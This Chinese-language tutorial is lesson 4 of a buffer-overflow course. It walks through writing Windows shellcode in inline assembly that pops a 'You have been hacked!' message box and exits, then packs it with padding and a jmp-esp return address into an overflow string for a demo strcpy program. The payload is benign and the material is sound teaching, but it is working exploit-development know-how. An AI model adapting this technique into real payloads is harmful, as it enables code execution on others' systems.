缓冲区溢出分析第04课:ShellCode的编写

        《缓冲区溢出分析》这一系列的内容是我为“i春秋”(www.ichunqiu.com)所录制的同名视频课程的讲稿汇总。每次我都是在写完课程的文档后,再依据文档内容进行课程的讲解。而本系列的内容也是从零开始,来给大家由浅入深地进行缓冲区溢出漏洞的讲解。整个课程是理论与实践相结合,每讲完几个基础理论后,都会配以实际的软件中的漏洞进行分析,以帮助大家更好地理解漏洞的原理。有兴趣的朋友可以结合本文与配套视频进行学习。

         本系列文章的版权为“i春秋”所有,转载请标明出处。

前言

        ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理。那么下面我们就来编写ShellCode。为了简单起见,这里我只想让程序显示一个对话框:

缓冲区溢出分析第04课:ShellCode的编写_第1张图片

图1

获取相关函数的地址

        那么我们下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以说首先需要获取该函数的地址,这可以通过编写一个小程序来获取:

[cpp]  view plain copy
  1. #include <windows.h>  
  2. #include <stdio.h>  
  3. typedef void (*MYPROC)(LPTSTR);  
  4. int main()  
  5. {     
  6.         HINSTANCE LibHandle;  
  7.         MYPROC ProcAdd;  
  8.         LibHandle = LoadLibrary("user32");  
  9.         //获取user32.dll的地址  
  10.         printf("user32 = 0x%x\n", LibHandle);  
  11.         //获取MessageBoxA的地址  
  12.         ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");  
  13.         printf("MessageBoxA = 0x%x\n", ProcAdd);  
  14.         getchar();  
  15.         return 0;  
  16. }  
        其显示结果如下:

缓冲区溢出分析第04课:ShellCode的编写_第2张图片
图2

        由结果可知,MessageBox在我的系统中的地址为0x77d507ea,当然这个地址在不同的系统中,应该是不同的,所以大家在编写ShellCode之前,一定要先查找所要调用的API函数的地址。

        由于我们利用溢出操作破坏了原本的栈空间的内容,这就可能会在我们的对话框显示完后,导致程序崩溃,所以为了谨慎起见,我们这里还需要使用ExitProcess()函数来令程序终止。这个函数位于kernel32.dll里面,所以这里同样可以使用上述程序进行函数地址的查找,只要稍微修改一下就可以了:


图3

 编写汇编代码

        接下来需要编写欲执行的代码,一般有两种方式——C语言编写以及汇编编写,不论采用哪种方式,最后都需要转换成机器码。这里我比较倾向于使用汇编进行编写。请大家放心的是,虽然说是汇编,但其实是非常简单的汇编,请大家不要有畏惧的心理。

        那么在进行汇编代码的编写之前,我想首先给大家讲一下如何利用汇编语言实现函数的调用。

        可能大家也都知道,在汇编语言中,想调用某个函数,是需要使用CALL语句的,而在CALL语句的后面,需要跟上该函数在系统中的地址。因为我刚才已经获取到了MessageBox()与ExitProcess()函数的地址,所以我们在这里就可以通过CALL相应的地址的方法来调用相应的函数。但是实际上,我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再CALL相应的寄存器,从而实现调用的。

        如果说我们想要调用的函数还包含有参数,那么我们就需要先将参数利用PUSH语句从右至左分别入栈,之后再调用CALL语句。比如现在有一个Function(a,b,c)函数,我们想调用它,那么它的汇编代码就应该编写为:

push c

push b

push a

mov eax,AddressOfFunction

call eax

        根据这个思想,我们就可以在VC++中利用内联汇编来调用ExitProcess()这个函数:

xor ebx, ebx

push ebx

mov eax, 0x7c81cafa

call eax

        接下来编写MessageBox()这个函数调用。与上一个函数不同的是,这个API函数包含有四个参数,当然第一和第四个参数,我们可以赋给0值,但是中间两个参数都包含有较长的字符串,这个该如何解决呢?我们不妨先把所需要用到的字符串转换为ASCII码值:

Warning :

 \x57\x61\x72\x6e\x69\x6e\x67

You have beenhacked!(by J.Y.) :

\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6e\x20\x68\x61\x63\x6b\x65\x64\x21\x28\x62\x79\x20\x4a\x2e\x59\x2e\x29

        然后将每四个字符为一组,进行分组,将不满四个字符的,以空格(\x20)进行填充:

Warning :

 \x57\x61\x72\x6e

\x69\x6e\x67\x20

You have beenhacked!(by J.Y.) :

\x59\x6f\x75\x20

\x68\x61\x76\x65

\x20\x62\x65\x65

\x6e\x20\x68\x61

\x63\x6b\x65\x64

\x21\x28\x62\x79

\x20\x4a\x2e\x59

\x2e\x29\x20\x20

        这里之所以需要以\x20进行填充,而不是\x00进行填充,就是因为我们现在所利用的是strcpy的漏洞,而这个函数只要一遇到\x00就会认为我们的字符串结束了,就不会再拷贝\x00后的内容了。所以这个是需要特别留意的。

        由于我们的计算机是小端显示,因此字符的进展顺序是从后往前不断进栈的,即“Warning”的进栈顺序为:

push 0x20676e69  

push 0x6e726157    // push "Warning"

        “You have beenhacked!(by J.Y.)”的进栈顺序为:

push 0x2020292e

push 0x592e4a20

push 0x79622821

push 0x64656b63

push 0x6168206e

push 0x65656220

push 0x65766168

push 0x20756f59    // push "You have beenhacked!(by J.Y.)"

        那么下面问题来了,我们如何获取这两个字符串的地址,从而让其成为MessageBox()的参数呢?其实这个问题也不难,我们可以利用esp指针,因为它始终指向的是栈顶的位置,我们将字符压栈后,栈顶位置就是我们所压入的字符的位置,于是在每次字符压栈后,可以加入如下指令:

mov eax,esp 或 mov ecx,esp

这样就可以了,最后再进行函数的调用:

push ebx

push eax

push ecx

push ebx

mov eax,0x77d507ea

call eax           // call MessageBox

        综合以上,完整的代码如下:

[cpp]  view plain copy
  1. int main()  
  2. {  
  3.     _asm{  
  4.         sub esp,0x50  
  5.         xor ebx,ebx  
  6.         push ebx           // cut string  
  7.         push 0x20676e69     
  8.         push 0x6e726157    // push "Warning"  
  9.         mov eax,esp  
  10.                 push ebx             // cut string        
  11.         push 0x2020292e  
  12.         push 0x592e4a20  
  13.         push 0x79622821  
  14.         push 0x64656b63  
  15.         push 0x6168206e  
  16.         push 0x65656220  
  17.                 push 0x65766168  
  18.         push 0x20756f59    // push "You have been hacked!(by J.Y.)"  
  19.         mov ecx,esp          
  20.           
  21.         push ebx  
  22.         push eax  
  23.         push ecx  
  24.         push ebx  
  25.         mov eax,0x77d507ea  
  26.         call eax           // call MessageBox  
  27.                 push ebx  
  28.                 mov eax, 0x7c81cafa  
  29.                 call eax            // call ExitProcess  
  30.     }  
  31.     return 0;  
  32. }  

 

将汇编代码改写为ShellCode

        然后在VC中在程序的“_asm”位置先下一个断点,然后按F5(Go),再单击“Disassembly”,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):
缓冲区溢出分析第04课:ShellCode的编写_第3张图片
图4

        将这些机器码提取出来,就是我们想让计算机执行的 ShellCode。然后我们再综合一下上节课所讲的内容,从而编写出完整的ShellCode:

[cpp]  view plain copy
  1. char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41"  // name[0]~name[7]  
  2.               "\x41\x41\x41\x41"                      // EBP  
  3.               "\x79\x5b\xe3\x77"                      // Return Address  
  4.               "\x83\xEC\x50"                          // sub esp,0x50  
  5.               "\x33\xDB"                              // xor ebx,ebx  
  6.               "\x53"                                  // push ebx  
  7.               "\x68\x69\x6E\x67\x20"  
  8.               "\x68\x57\x61\x72\x6E"                  // push "Warning"  
  9.               "\x8B\xC4"                              // mov eax,esp  
  10.               "\x53"                                  // push ebx  
  11.               "\x68\x2E\x29\x20\x20"  
  12.               "\x68\x20\x4A\x2E\x59"  
  13.               "\x68\x21\x28\x62\x79"  
  14.               "\x68\x63\x6B\x65\x64"  
  15.               "\x68\x6E\x20\x68\x61"  
  16.               "\x68\x20\x62\x65\x65"  
  17.               "\x68\x68\x61\x76\x65"  
  18.               "\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by J.Y.)"  
  19.               "\x8B\xCC"                              // mov ecx,esp  
  20.               "\x53"                                  // push ebx  
  21.               "\x50"                                  // push eax  
  22.               "\x51"                                  // push ecx  
  23.               "\x53"                                  // push ebx  
  24.               "\xB8\xea\x07\xd5\x77"                 
  25.               "\xFF\xD0"                              // call MessageBox  
  26.                           "\x53"  
  27.                           "\xB8\xFA\xCA\x81\x7C"  
  28.                           "\xFF\xD0";                             // call MessageBox  
        由于我们这里调用了MessageBox,因此需要在源程序中加入“LoadLibrary(“user32.dll”);”这条语句用于加载相应的动态链接库,而由于使用了LoadLibrary(),还需要加入“windows.h”这个头文件。然后运行程序,可以看到我们已经成功利用了漏洞:


图5

 

利用OD查看反汇编程序

        最后可以再观察一下OD的数据以及堆栈区域的情况:

缓冲区溢出分析第04课:ShellCode的编写_第4张图片

图6

        这里大家可以自行对照。然后我们执行到main函数的返回位置,再按下F8(单步执行),经过jmp esp的跳转后,就来到了我们所编写的 ShellCode的位置:

缓冲区溢出分析第04课:ShellCode的编写_第5张图片

图7

        这个时候我们再通过OD来观察一下MessageBox()这个函数的参数入栈情况。先执行到0x0012FF98的位置:

缓冲区溢出分析第04课:ShellCode的编写_第6张图片

图8

        可以看到“Warning”字符串已经入栈,此时esp指向的就是栈帧,也就是“Warning”字符串的位置,而此时将esp的值赋给eax,那么也就可以理解为eax中保存的就是“Warning”字符串。

        第二个字符串入栈的原理和这个是一样的,在这里不再赘述。然后就是调用MessageBox()函数:


图9

        可以看到相应的参数已经入栈,那么对话框得以弹出,说明我们的漏洞利用是成功的。

 

小结

        事实上,编写一个完整的ShellCode是没那么简单的,是需要考虑很多的问题的。比如我们这次所编写的这个简单的 ShellCode,可以完善的地方还有很多。而关于ShellCode的完善,我会在下次课程中详细讨论。

你可能感兴趣的:(漏洞,安全,缓冲区溢出,姜晔,i春秋)